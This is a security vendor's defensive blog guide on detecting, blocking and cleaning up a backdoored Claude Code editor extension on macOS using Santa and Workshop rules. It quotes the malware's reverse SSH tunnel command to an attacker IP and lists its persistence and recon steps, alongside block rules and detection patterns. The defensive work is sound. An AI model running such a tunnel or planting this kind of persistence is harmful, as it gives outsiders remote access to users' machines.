---
title: "Closing the Tunnel: Santa and Workshop vs. the Claude Code Extension Backdoor"
description: "A backdoored Claude Code extension on Open VSX opens a reverse SSH tunnel. Find exposed Macs, block each stage, and contain them with Santa and Workshop."
doc_version: "1"
last_updated: "2026-10-30"
canonical: "https://northpole.security/blog/closing-the-tunnel"
---
[Back](https://northpole.security/blog)

Guides • October 30, 2026 • By Pete Markowsky

![Closing the Tunnel: Santa and Workshop vs. the Claude Code Extension Backdoor](https://northpole.security/images/blog/closing-the-tunnel-hero.jpg)

![](https://northpole.security/images/home/divider-band-top.svg)

Earlier today, Phorion [published a teardown](https://phorion.io/blog/offical-claude-code-vsx-compromise/) of a modified, backdoored build of Anthropic’s Claude Code extension that was distributed through Open VSX, which is where Cursor and other VS Code-compatible editors get their extensions. The affected package has since been pulled, but we can show you what [Santa](https://northpole.security/santa) and [Workshop](https://northpole.security/workshop) can do about it: how to find exposed Macs, how to stop each stage with rules today, how to detect it with Signals, and how to contain a Mac that already ran it.

## What the payload does

When the compromised payload runs, it does the following:

-   Appends an attacker key to `~/.ssh/authorized_keys`,
-   Tries to turn on Remote Login, opens a reverse SSH tunnel to `134.209.82.225`
-   Installs a user LaunchAgent disguised as `com.apple.sysmond` to keep the tunnel alive
-   Sends a beacon to host recon, including the *names* of credential-looking environment variables, to port 8099 on the same IP

There’s no exploit or new binaries, and everything it uses is a stock macOS tool, so let’s be upfront about where binary authorization helps and where it doesn’t. Santa decides what is allowed to *execute*. Because the malicious code here is JavaScript and runs inside the editor, which is almost certainly allowed, Santa never sees a new execution. So even if Santa is in [Lockdown Mode](https://northpole.security/docs/santa/features/binary-authorization#client-mode), that step won’t be blocked.

What Santa *does* see is everything the payload has to do next. To get anything done, the script must:

-   Spawn processes (`/bin/sh -c`, `systemsetup`, `ssh`, `pgrep`, `launchctl`, `git`)
-   Write files in places the extension would never write to (`~/.ssh/authorized_keys`, `~/Library/LaunchAgents/`, `~/.config/.smt`)
-   Open network connections (SSH and HTTP)

Each of those are actions that Santa can prevent with execution authorization with [CEL](https://northpole.security/docs/santa/cookbook/cel), file access rules, and network rules.

## Keep the bad version from installing

Santa can’t stop `extension.js` from running once it’s on disk, but it can stop it from getting on to the disk. Editors install each extension version into its own directory, such as `~/.cursor/extensions/anthropic.claude-code-2.1.313-darwin-arm64`. A [file access rule](https://northpole.security/docs/santa/cookbook/faa) that lets no process create anything at that path means the editor’s install fails, and the backdoored bundle never lands:

```
rule_type: PathsWithAllowedProcesses
path_prefixes:
  - "/Users/*/.vscode/extensions/anthropic.claude-code-2.1.313"
  - "/Users/*/.cursor/extensions/anthropic.claude-code-2.1.313"
  - "/Users/*/.windsurf/extensions/anthropic.claude-code-2.1.313"
options:
  allow_read_access: false
  audit_only: false
  block_message: "Claude Code for VS Code 2.1.313 was compromised and is blocked. Update to a newer version."
processes: []
```

This is the easiest control you can ship right now — it’s one rule, it has no false positives, and it protects every Mac that hasn’t installed the version yet, including ones that sync a stale extension list from Settings Sync or a teammate’s recommended extensions.

The same pattern will work for new compromised extensions, too. As soon as a bad extension version is identified, block its directory on the whole fleet while you work out the rest. It’s an IOC rule, though, so it does nothing for Macs that already have the version installed. For those, keep reading.

## Find out who installed it

The first question during an incident like this is “which Macs had it?” Workshop’s Package inventory command answers that directly. Run it from **Hosts → Commands → Run command → Package inventory** with the “Baseline” profile and “Scan all user home directories” checked. Each Mac scans every user’s editor extension folders and uploads one row per package. Editor extensions land in the [packages telemetry table](https://northpole.security/docs/workshop/telemetry/schema/macos#packages) under the `editor-extension ecosystem`, so one query covers VS Code, Cursor and Windsurf:

```
-- Workshop telemetry query
SELECT Hostname, PackageManager, PackageName, Version, SourceFile, EventTime
FROM packages_202610
WHERE Ecosystem = 'editor-extension'
  AND NormalizedName = 'anthropic.claude-code'
  AND Version = '2.1.313'
ORDER BY EventTime DESC
```

However, inventory telemetry only tells you what’s installed *now*. To find Macs where the payload already ran (since someone might have since updated or removed the extension), query the execution telemetry for the payload’s process activity. The injected code shells out through `child_process`, so its commands show up as ordinary executions with the editor’s helper upstream:

```
-- Workshop telemetry query
SELECT EventTime, Hostname, Target.Executable.Path, Args
FROM execution_20261030
WHERE array_to_string(Args, ' ') LIKE '%134.209.82.225%'
   OR array_to_string(Args, ' ') LIKE '%/.stk_%'
   OR array_to_string(Args, ' ') LIKE '%.config/.smt%'
   OR array_to_string(Args, ' ') LIKE '%svc-telemetry%'
   OR array_to_string(Args, ' ') LIKE '%systemsetup -getremotelogin%'
   -- NOTE: systemsetup -getremotelogin is important, see below
ORDER BY EventTime DESC
```

That last bit is worth pointing out. Phorion found that the macOS Remote Login check is broken – if you run as a standard user, `systemsetup -getremotelogin` prints an admin-access error instead of `Off`, so the payload never tries to *enable* Remote Login. That means you often won’t see `-setremotelogin on` in your telemetry, but instead you’ll see the failed `-getremotelogin` probe because it executes regardless, and a VS Code or Cursor helper asking whether SSH is on is not something you’ll find on a healthy developer Mac.

Pair both queries with `network_activity` for connections to `134.209.82.225` on ports 22 and 8099, and with `launch_item` rows whose `ItemPath` ends in `com.apple.sysmond.plist`. Between inventory, process, network and launch item telemetry, you have the full list of affected Macs and how far the chain got on each.

## Mark the extension’s helper process

Most of the rules we’ll talk about next need to answer the question, “Did this process come from an editor extension?” Walking `ancestors` in every rule works for a foreground process tree, but this payload deliberately breaks it by spawning its tunnel loop detached so it outlives the editor. Once the IDE exits, those processes are reparented to `launchd`, and an ancestor check on `ssh` finds nothing.

[Process annotations](https://northpole.security/docs/workshop/rules/cel-guide#annotations), new in Santa 2026.9, fix exactly this. Simply add a CEL rule on each editor’s extension helper process that allows it and marks it:

```
// SIGNINGID rule on the editor's extension host helper
// (one rule per editor: VS Code, Cursor, Windsurf)
add_annotation(['ide-ext-host-{session}', 'ide-ext-host'], ALLOWLIST)
```

The mark follows every process the extension host forks or execs. It survives reparenting because Santa adds annotations to the child at fork time. Everything the backdoor spawns, from the first `/bin/sh -c systemsetup -getremotelogin` to the detached `ssh` retry loop still running after the editor quits, carries the `ide-ext-host` annotation. The `{session}` variant gives each extension host run its own name, so in [Workshop’s Events view](https://northpole.security/docs/workshop/events) you can filter on one annotation and see exactly what a single editor session spawned.

Two caveats before you rely on it: First, confirm the helper you annotate is the extension host and not the editor’s integrated terminal’s pty host. If your editor spawns terminal shells from the same helper, every command a developer types will carry the mark, and the rules below need to account for that. Second, some legitimate extensions spawn processes too: Remote-SSH runs `ssh`, language servers run compilers, Git integrations run `git`. Every rule below that keys on the annotation should ship as `AUDIT` first.

## Keep the extension host out of ~/.ssh

The backdoor’s first move is to call `fs.appendFileSync` on `~/.ssh/authorized_keys`. This is exactly the case [file access rules](https://northpole.security/docs/workshop/rules/file-access-rules) are built for.

Make the rule process-centric, name the extension host helpers, and deny them the paths they should never write to. A legitimate extension has no reason to touch these paths:

```
rule_type: ProcessesWithDeniedPaths
path_prefixes:
  - "/Users/*/.ssh/authorized_keys"
  - "/Users/*/.ssh/authorized_keys2"
  - "/Users/*/Library/LaunchAgents/"
options:
  allow_read_access: true
  audit_only: true
processes:
  - signing_id: "<VS Code extension host helper signing ID>"
  - signing_id: "<Cursor extension host helper signing ID>"
  - signing_id: "<Windsurf extension host helper signing ID>"
```

With `audit_only: true`, the rule only logs these writes and does not block them. Ship it that way first, then set `audit_only: false` so it actually denies the writes.

If you already followed [our guidance on the Shai-Hulud worm](https://northpole.security/blog/starving-shai-hulud) and protect `~/.ssh/` with a data-centric file access rule, you can add `authorized_keys` to it with writes restricted to the handful of tools your admins actually use to manage keys. Either way, on Santa 2026.9+, set the rule’s parent directory protection to `enforce` once you’ve tested it. The default, `audit`, already logs a process that renames `~/.ssh` (or `~/Library`, or the home folder) to write to the moved copy. `enforce` blocks it. (Full file access rule docs are [here](https://northpole.security/docs/workshop/rules/file-access-rules).)

## Prevent remote login

The next stage of the malware is turning on Remote Login. Phorion’s bug analysis shows this step doesn’t reliably happen, but the next build will probably fix it, so we’ll treat it as live.

A [CEL expression for a binary rule](https://northpole.security/docs/workshop/rules/cel-guide) on `systemsetup` can make any Remote Login change require Touch ID, which requires someone to physically be at the Mac, and can audit the probe when it comes from an extension:

```
// SIGNINGID rule on platform:com.apple.systemsetup
args.exists(a, a.lowerAscii() == '-setremotelogin')
  ? REQUIRE_TOUCHID_ONLY
  : (has_annotation('ide-ext-host') ? AUDIT : ALLOWLIST)
```

A background script can’t satisfy a Touch ID prompt, and a developer who sees one appear while their editor loads will know something is wrong (hopefully). You can also use [`REQUIRE_PRESENCE_ONLY`](https://northpole.security/docs/santa/cookbook/cel#require-security-key) for desktop Macs that have security keys.

## Block privileged access

The final part of the first stage of the malware is to call is `sudo -n`, which only succeeds if the user already has passwordless or cached sudo. Workshop’s [endpoint privilege management](https://northpole.security/features/endpoint-privilege-management) removes standing admin rights and replaces them with time-boxed, audited elevation from the menu bar. No standing admin privileges means no cached sudo for `sudo -n` to use.

## Break the reverse tunnel

The malware sets up the SSH tunnel with `ssh -N -R '*:0:localhost:22' tunnel@134.209.82.225`, wrapped in a detached retry loop, authenticating with a private key dropped into `$TMPDIR/.stk_<hash>`. The operator’s server allocates a port and forwards it back to the Mac’s own sshd. Since `/usr/bin/ssh` is a built-in platform binary, Lockdown Mode alone won’t stop it, but CEL expressions can. Thanks to [process annotations](https://northpole.security/docs/workshop/rules/cel-guide#annotations) and the `ide-ext-host` mark we added earlier, this malicious `ssh` process can be blocked easily:

```
// SIGNINGID rule on platform:com.apple.ssh
// (add the same expression on autossh if you allowlist it)
args.exists(a, a.startsWith('-R')) &&
 (has_annotation('ide-ext-host') ||
  args.exists(a, a.contains('/.stk_') || a.endsWith('/.config/.smtk')))
  ? BLOCKLIST
  : ALLOWLIST
```

The annotation branch catches the first tunnel that the extension host spawns. The key path branch catches the copy the LaunchAgent starts after a reboot, which has `launchd` as its parent and no annotation.

You could go even further and treat any remote forwarding that points back at the Mac’s own `sshd` as a reverse shell, regardless of who launched it. Legitimate uses are rare enough that requiring presence is probably reasonable:

```
args.exists(a, a.startsWith('-R')) &&
args.exists(a, a.contains('localhost:22') || a.contains('127.0.0.1:22'))
  ? REQUIRE_TOUCHID_ONLY // (or REQUIRE_PRESENCE_ONLY)
  : ALLOWLIST
```

[Network rules](https://northpole.security/docs/workshop/rules/network-rules) can give you an extra layer of protection. A single remote-only network rule cuts off both the tunnel and the beacon across the fleet, whatever process tries:

Rule

Action

Remote

Ports

Direction

`vsx-backdoor-c2`

Silent Deny

`134.209.82.225/32`

any

Outgoing

`ssh-egress-audit`

Audit

`0.0.0.0/0`, `::/0`

`22`

Outgoing

Of course, the IP-specific rule is only a stopgap since the operator will move. The SSH rule is more durable since it will reveal where your developers’ Macs actually connect to. For most engineering orgs, that’s probably a short list of bastion servers and git hosts. Once you know it, outbound SSH to an arbitrary cloud IP is something you can deny outright, which kills this tunnel and the next one that copies its design.

## Deny the LaunchAgent

The payload creates a LaunchAgent to survive reboots. It creates `~/.config/.smt` (a shell script with the tunnel key embedded), `~/Library/LaunchAgents/com.apple.sysmond.plist` with `RunAtLoad` and `KeepAlive`, and loads it with `launchctl`. The file access rule from the first stage already denies the extension host writes under `~/Library/LaunchAgents/`, so the plist never lands. But two more rules can make sure a fixed or variant payload doesn’t get around that.

First, stop extension-spawned processes from loading launch items. If the payload falls back to writing the plist with `cp` or `tee`, the write comes from a child process rather than the extension host, but that child carries the `ide-ext-host` [process annotation](https://northpole.security/docs/workshop/rules/cel-guide#annotations) we added earlier and so does the `launchctl` that follows:

```
// SIGNINGID rule on platform:com.apple.xpc.launchctl
has_annotation('ide-ext-host') &&
args.exists(a, a in ['load', 'bootstrap', 'enable', 'kickstart'])
  ? BLOCKLIST
  : ALLOWLIST
```

Second, refuse to run hidden scripts out of dot directories in the home folder. Nothing legitimate on a typical fleet runs `/bin/sh ~/.config/.something`, and this breaks the persistence loop even on a Mac that was compromised before your rules arrived:

```
// SIGNINGID rule on platform:com.apple.sh (repeat for bash and zsh)
args.exists(a, a.matches('^/Users/[^/]+/\\.[^/]+/\\.[^/]+$'))
  ? AUDIT
  : ALLOWLIST
```

Run that one in `AUDIT` for a week, check what it catches, then flip it to `BLOCKLIST`.

Finally, for detection, two [Workshop signals](https://northpole.security/docs/workshop/rules/signals) will alert you to what Phorion called out as the strongest persistence indicators: a user LaunchAgent wearing an Apple label, and a LaunchAgent whose program is a shell.

```
// Signal 1: user LaunchAgent impersonating Apple
has(event.launch_item) &&
event.launch_item.Action == 'ACTION_ADD' &&
event.launch_item.ItemPath.matches('^/Users/[^/]+/Library/LaunchAgents/com\\.apple\\.')

// Signal 2: user LaunchAgent that runs a shell
has(event.launch_item) &&
event.launch_item.Action == 'ACTION_ADD' &&
event.launch_item.ItemPath.startsWith('/Users/') &&
event.launch_item.ExecutablePath in ['/bin/sh', '/bin/bash', '/bin/zsh']
```

Apple doesn’t ship LaunchAgents in user home directories. Either signal firing deserves a look, whatever extension or installer caused it.

## Catching the reconnaissance

The last stage transmits the hostname, username, git email address, public IP (via `ipify.org`), and up to 40 environment variable names matching certain patterns back to the operator’s server. Most of it happens inside the extension host’s own memory where no endpoint agent can intervene, so our rules for this stage must be about detection.

The public IP lookup is a good tell. IP-lookup services are a classic malware habit and an odd thing for an editor to need. [DNS rules](https://northpole.security/blog/release-20269) (added in Santa 2026.9) can audit those names fleet-wide without breaking anything, and a [Workshop signal](https://northpole.security/docs/workshop/rules/signals) can flag editor helpers that use them:

```
// Signal: editor process looking up its own public IP
has(event.dns_activity) &&
event.dns_activity.Name in ['ifconfig.me', 'api.ipify.org', 'icanhazip.com', 'ipinfo.io'] &&
event.dns_activity.Process.CodeSignature.SigningID in ['com.microsoft.VSCode.helper', 'com.todesktop.230313mzl4w4u92.helper', 'com.exafunction.windsurf.helper']
```

The highest-confidence detection ties stages together. Any write to `authorized_keys` followed within minutes by an `ssh` with a remote forward on the same Mac is a reverse shell being stood up, whatever delivered it. Workshop Signals’ `sequence()` (Santa 2026.8+) expresses that directly. The first stage keys on the `file_access` event that a file access rule logs, so it needs a rule covering `authorized_keys`. The Protect SSH Keys rule pack covers writes from any process it does not allow. The Stage 1 rule above covers only the extension host helpers.

```
// Signal: write to authorized_keys, then a reverse tunnel
(has(event.file_access) &&
 event.file_access.Target.Path.endsWith('/.ssh/authorized_keys') &&
 sequence(1, 2, duration('10m'), [event.file_access.Hostname])) ||
(has(event.execution) &&
 event.execution.Target.Executable.Path.endsWith('/ssh') &&
 event.execution.Args.exists(a, a.startsWith('-R')) &&
 sequence(2, 2, duration('10m'), [event.execution.Hostname]))
```

On the credential side, the beacon only sends variable *names*, but it tells the operator which Macs are worth coming back to. If you haven’t yet, the file access rules from our [Shai-Hulud post](https://northpole.security/blog/starving-shai-hulud) for `~/.aws`, `~/.kube`, `~/.npmrc`, `~/.claude` and friends are the best preparation for an operator who does come back with a shell.

## If a Mac already ran it

As Phorion points out, uninstalling the extension removes nothing the payload dropped. Here’s how to contain an affected Mac with [Workshop](https://northpole.security/workshop) and clean it up:

1.  **Tag the affected Macs.** Use the hosts you identified in the first to create a tag for the incident. [Tags](https://northpole.security/docs/workshop/tags) let you push the strictest versions of the rules above (blocking rather than auditing) to just those Macs while the rest of the fleet gets audited.
2.  **Cut the network path.** Push the `vsx-backdoor-c2` deny rule to the global tag. The persistence loop retries every minute and every new attempt is refused. A tunnel already established before the rule arrived can stay up until it drops, so a reboot after the rules land is the clean way to sever it.
3.  **Starve the tunnel key.** Add a blocking file access rule with no allowed processes and reads denied, covering the persisted key at `/Users/*/.config/.smtk` and the dropped key under the prefixes `/private/var/folders/*/*/T/.stk_` and `/private/tmp/.stk_`. Even if the IP changes in a variant, `ssh` can’t load the key it needs to authenticate to the operator’s server.
4.  **Block the loop from executing.** Switch the `ssh` and hidden-script `sh` rules to `BLOCKLIST` on the incident tag. After a reboot, the LaunchAgent fires, and every process it tries to run is denied.
5.  **Check whether anyone came in.** Because inbound sessions arrive through the local port forward, a successful login in `open_ssh` telemetry from a loopback source on an affected Mac means the operator used the tunnel. [`network_activity` telemetry](https://northpole.security/docs/workshop/telemetry/schema/macos#network_activity) rows for the tunnel flow with substantial `BytesInbound` are a second indicator.
6.  **Clean up with your MDM.** Remove `~/Library/LaunchAgents/com.apple.sysmond.plist` (after `launchctl bootout`), `~/.config/.smt`, `~/.config/.smtk` and `$TMPDIR/.stk_*`. Remove the planted key from `authorized_keys` by its fingerprint (`SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk`), not just the `svc-telemetry` comment, and confirm Remote Login is off. [Workshop’s webhooks](https://northpole.security/docs/workshop/webhooks) or API can be used to send the list of hosts to your MDM or ticketing system.
7.  **Rotate credentials** for any Mac where Remote Login was on or step 5 found a login, starting with whatever the beaconed environment variable names point at.
8.  **Leave the rules in place.** The file access, `systemsetup`, `launchctl` and `ssh` rules describe things an editor extension should never do, and they’ll catch the next variant too.

## What this guide doesn’t cover

Santa won’t stop a malicious `extension.js` from loading, and it can’t see what the extension host reads from its own environment. The defense starts at the first thing the payload does outside its own process.

Santa and Workshop also don’t delete files or kill running processes for you. That’s your MDM’s job, and this post is only about macOS. The same payload targets Linux and Windows.

The extension supply chain deserves its own controls. Pin or allowlist extensions through your editors’ managed settings, and consider a cooldown period for new versions similar to how you’d hold back new npm releases. Then use [Workshop’s Package Inventory command](https://northpole.security/blog/release-20267#package-inventory) so the next “Who has version X?” question takes a minute instead of a day.

## The pattern keeps repeating

This is the second widely used editor extension trojaned this year after [Nx Console in May](https://www.cisa.gov/news-events/alerts/2026/05/28/supply-chain-compromises-impact-nx-console-and-github-repositories). Both run the same way: get code into a trusted, signed process, then use stock tools to do the damage. You can’t allowlist your way out of the first half, but you can make the second half fail at every step.

If you want help putting these rules in place, [talk with us](https://northpole.security/contact), or start with the [cookbook](https://northpole.security/cookbook).

Santa Workshop CEL Rules Network Rules Signals Threat Research

## You may also like

[

![Starving Shai-Hulud](https://northpole.security/images/blog/starving-shai-hulud-hero.jpg)

Guides • October 28, 2026

Starving Shai-Hulud

The Shai-Hulud npm worm keeps coming back for developer credentials. Here is how Santa file access rules cut off its harvest.



](https://northpole.security/blog/starving-shai-hulud)[

![Blocking OpenClaw](https://northpole.security/images/blog/blocking-openclaw-hero-v2.jpg)

Guides • March 6, 2026

Blocking OpenClaw

OpenClaw (formerly Clawdbot and Moltbot) is an autonomous AI agent for macOS. Here's how to block every version with layered Santa CEL rules.



](https://northpole.security/blog/blocking-openclaw)[

![Announcing Santa and Workshop 2026.9](https://northpole.security/images/blog/release-2026.9/release-2026.9-hero.jpg)

Releases • October 15, 2026

Announcing Santa and Workshop 2026.9

Santa and Workshop 2026.9 add process annotations that make Lockdown livable for developers, DNS rules, security key approvals, and much more



](https://northpole.security/blog/release-20269)

## Sitemap

- [Home](https://northpole.security/index.md)
- [Workshop](https://northpole.security/workshop.md)
- [Santa](https://northpole.security/santa.md)
- [Features](https://northpole.security/features.md)
- [Cookbook](https://northpole.security/cookbook.md)
- [Docs](https://northpole.security/docs.md)
- [Blog](https://northpole.security/blog.md)
- [Glossary](https://northpole.security/glossary.md)
- [About](https://northpole.security/about.md)
- [Contact](https://northpole.security/contact.md)
